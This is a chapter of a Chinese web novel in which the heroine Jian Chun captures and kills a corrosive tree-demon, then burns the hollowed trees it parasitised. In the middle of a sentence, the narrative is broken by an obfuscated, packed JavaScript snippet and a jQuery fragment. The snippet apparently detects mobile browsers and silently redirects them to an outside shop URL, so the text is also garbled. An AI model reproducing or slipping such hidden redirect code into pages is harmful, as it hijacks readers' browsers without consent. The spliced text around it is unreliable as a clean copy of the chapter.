48. 第 48 章
作品:《原始部落生存指南[基建]》 “你这尖叫声可真是刺耳。”简椿嫌恶地挤了挤眉头,又是利落地一劈,直直砍中它的躯干。
她斜着躲开树人藤蔓狠厉的反击,刀身也顺势在躯干上一划,树人顿时停滞了,它似人的腹部上方出现了一道不浅的伤口,一种墨绿色的汁液正汨汨地往外冒。
简椿反握骨刀刀柄,发现刀身上也沾染了这种液体,不像水一样流动性那么强,而是极其粘稠地糊在刀尖,往下流淌的速度很慢。
她不敢轻率地用手接触,随意掰了一根树枝,用枝干末端对着刀身上的汁液轻轻一扫,被汁液掩盖的刀尖露出来了,原本流畅锋利的尖头被腐蚀得坑坑洼洼。
另一只手里原本足足有成人小臂长的树枝,也被沾上的汁液腐蚀了一半。
简椿脸顿时一沉。
要解决面前这个魇族树人,看来光靠砍断它的藤蔓是远远不够的,简椿怀疑它类人的躯体才是它的命门所在,所以要想彻底了结它,恐怕就要先过腐蚀性液体这关。
要不然只能陷入双方相互制衡的死循环里。
“桀桀桀。”树人发出扭曲的笑声。
“不小心被你发现了,我的秘密~”
桢和渡象走到简椿身侧,“需不需要帮忙?”,桢先拿过了简椿手里的刀子,将刀尖放在火把上轻轻一撩,拿开后,只有一股难闻的气体飘出,墨绿色的汁液仍然还攀附在刀身上,并没有被火吞没。
“我是怕炎,但是我的秘密武器可不怕。”魇族树人挑衅地笑道,藤蔓上下飞舞。“下贱又卑鄙的部落人,认输吧。”
简椿勾嘴角,眼睛微微眯起,“活捉它,小心避开汁液,不要攻击它的躯干,它要能控制这些液体早都用上了,哪里要等到现在。”说完,桢、渡象、乔等好几个部落人从不同的方位走上前朝着魇族怪物步步紧逼。
“别过来,你们都会被我的汁液腐蚀得一干二净的,别说我没警告过你们。”
“虚张声势,捉住它之后把它的四肢都给我砍咯。”简椿先出手了。
其他人也跟随而上。
魇族树人见状加快了移动的速度,藤蔓分支也越长越多,想借此阻拦部落人,但没支撑多久,就被捉住了。
简椿隔着一小块毛皮,把它左右两根藤蔓拽在手里,本就不高的树人,现在双脚悬空被拎在半空中。
真被活捉了,它还依然嚣张地谩骂,各种脏词层出不从。
渡象无视它的叫嚣,忧心忡忡地问简椿,“接下来怎么办?”
简椿笑:“我不是说了吗?先砍光它的四肢,就这软塌塌的藤蔓还有树根似的脚都太丑了,帮它修剪修剪。”
发现部落人是真的要对它的四肢下手,它变脸般地语言混乱了,上一句还是辱骂,下一句又变成了求饶,就这样交叉着自言自语。
“放过我,求求你们,放我一条生路,我只是想变成一个人,我有什么错。”
“下贱的部落人是你们抢走了我们化形的机会,现在还要对我们赶尽杀绝,当真是无耻至极……只要放过我,我什么都告诉你们,看在我这么可怜的份上。”
“太聒噪了。”简椿手起刀落彻底砍断了它的藤蔓,身体左右两侧的伤口也渐渐漫出了墨绿色的汁液。
“啊——”
简椿的杀意让它彻底放飞了。
“那边尸山里的部落人通通都是你的仇家吧,这都是你的诡计。让我们互相残杀,我都替你杀光了他们,你竟然不知道感恩!”
“明明就是你自己痛恨部落人,怎么能怪到我头上呢?又不是我杀的人。你们魇族还是一贯喜欢推卸责任。”简椿把轻飘飘的树人晃了晃,汁液已经顺着它的身体流到了木桩子一般的下肢,她悄无声息地观察着。
树人安静了片刻,“你知道魇族……你还见过谁。”它的声音有些许颤抖。
“不告诉你。”简椿的视线盯着它脚上的汁液,心里默默数着时间,简椿的两次打量都被巫尽收眼底。
“就算你捉住一个,十个,一百个,也无法阻止我们的脚步。”
“哦!我懂,当发现了一只蟑螂,那说明暗处已经有数不清的蟑螂了。”
“什么蟑螂?我是魇族!此早有一天,这片大陆会属于我们,而到时候,啊——”简椿手起刀落地把它的根系砍断了。
魇族怪物痛到扭曲说不出话。
简椿:“临死前你有遗言吗?”
它有恃无恐地盯着简椿,觉得她不可能想到办法杀了它,还咧着嘴,“来杀我吧,然后被我的汁液狠狠腐蚀,最后变成一滩血水,谁也救不了你……桀桀桀,桀桀桀。”
“好,看样子你没有遗言,我倒有个问题想让你解答一下。”简椿拎着树人背过身并走远,她回头指了指地上掉落的树人根系,在别人还在疑惑简椿想表达的意思时,巫已经反应过来蹲下开始处理了。
走到离其他族人有一定的距离远,确保众人听不到谈话后,简椿把它高高拽起,对视着,捕捉到魇族树人眼里毫不掩饰的恨意,要是两人对调,它一定会用比杀死那些炎狐族人还要恶劣的手段来对付她。
——觉得自己轻敌了?
——恨我吧?
——想杀我?
简椿连问了几句,树人眼里的恨意果然也愈浓了。
“所以,”简椿故意顿了顿,放缓了语气,又突然加快语速不给它反应的时间,“部落人里也有你的同类吧。”
这句话一出,它的瞳孔瞬间缩小,眨眼间又恢复如常,随即用阴鸷的语气张扬道:“对啊对啊你们部落人里多的是我们魇族奸细,赶紧动手解决身边人,我可真想看到你们所有人自相残杀的那天。”
简椿轻笑,还想反套路我?真是不经诈,“只是奸细吗?”恐怕已经是套着部落人皮的怪物吧?简椿已经有了答案,不需要它再回答了。
恰好这时巫也走到了她身后,简椿信赖地伸出手,从巫手里接过了一个物件,在树人挣扎着还想说话的霎那,转着手里的木条尖头朝它的心口位置狠狠一扎。
“呃——”树人迟缓地朝着胸口看去,简椿将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117955|193184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
木条又往里狠狠一推松开了手,捅穿它胸膛的只是一根颜色黝黑的木条,墨绿色的汁液顺着木条徐徐流淌。
“眼熟吧?这是你自己的根系,早就发现你的身体不受腐蚀汁液的影响了,所以只好借用一下了。”简椿的脸色其实远没有她的语气轻松,魇族怪物光明正大地用部落人的身份生活,这可不是个好兆头。
巫也听到了她们的对话,这才理解简椿带着它远离族人的用意,这个消息的确不能轻易被人知晓。
树人含着不甘断气,它的躯干皮肤急速萎缩,简椿嫌弃地把它放到了地上,原本人不人鬼不鬼的皮囊顿时被苍老的树皮代替,晃眼间变成了一座与原体大小差不多的树桩。
简椿靠近朝里看去,果然汁液没有一同消失。
“这个树桩大概就是腐蚀汁液的容器,只不过不知道什么时候长出了神智,变成了不肖人又不肖树的怪物。”巫拎起树桩,长叹了一口气。
“巫,大陆上有纯粹的植物部落吗?”
巫一脸严肃,“并没有。”
“就连原本不可能会有神智的树木都能变成树人,忍辱负重这么多年,究竟是多大的一股执念。”
简椿和巫走回部落族人所在的位置,桢接过巫手里的木桩。
“解决了?那我们应该可以离开这了。”
简椿看向其他曾经被寄生过的大树,不放心道,“这些树我拍起来声音空洞洞的,一点也不结实,走之前还是把这些树也处理了。”
有族人听吩咐上前砍断了一棵,和先前为了锁定树人位置砍断的树不一样,这些树从上到下果然都被掏空了,只留下最外壳的一层矗立在原地。
几乎每棵树都是这样。
“这些树壳怎么处理?”
简椿沉思了片刻,“烧了吧。”
于是空心的树在炎狐族尸山旁也被堆成了一座小山,火把被丢进木堆里,大火熊熊烧起,原本周围砍光的树正好形成了防火带,火势也被控制范围内。
看着炎狐族人的尸体和树木一起被火焰吞噬,简椿眼里要抓紧带领部落变强的迫切又浓了一些。也正是因为她的谨慎,嵌在树木里的一些不起眼的种子也消失在了这场大火里,化作了灰烬。黑白色的烟气直冲云霄,火势之大引起了方圆好几个部落的注意。
月狼族离开的队伍也停下了,狼屿身边的部下硬着头皮,杵着脸问,“王上,我们需不需要掉头回去看看情况。”他自认为在给狼屿台阶下去确认心爱雌性的安全,谁料狼屿一口拒绝,“她不可能会出事,早点回去把交换的作物给摘了才是正经。”他也好正大光明地去木部落看望简椿。
狐年被烟呛醒,他耸动鼻尖嗅闻空气里的气味,一个满意的笑容浮上脸颊,一切都结束了是时候返回部落了。
大火一直烧了两个时辰,直到木部落人上前确认火彻底熄灭并且不会复燃后,巫松了一口气,“现如今所有事都结束了,我们也需要启程了。”
简椿勾起一缕巫的头发,“不着急的,你还有一个人要见见。”

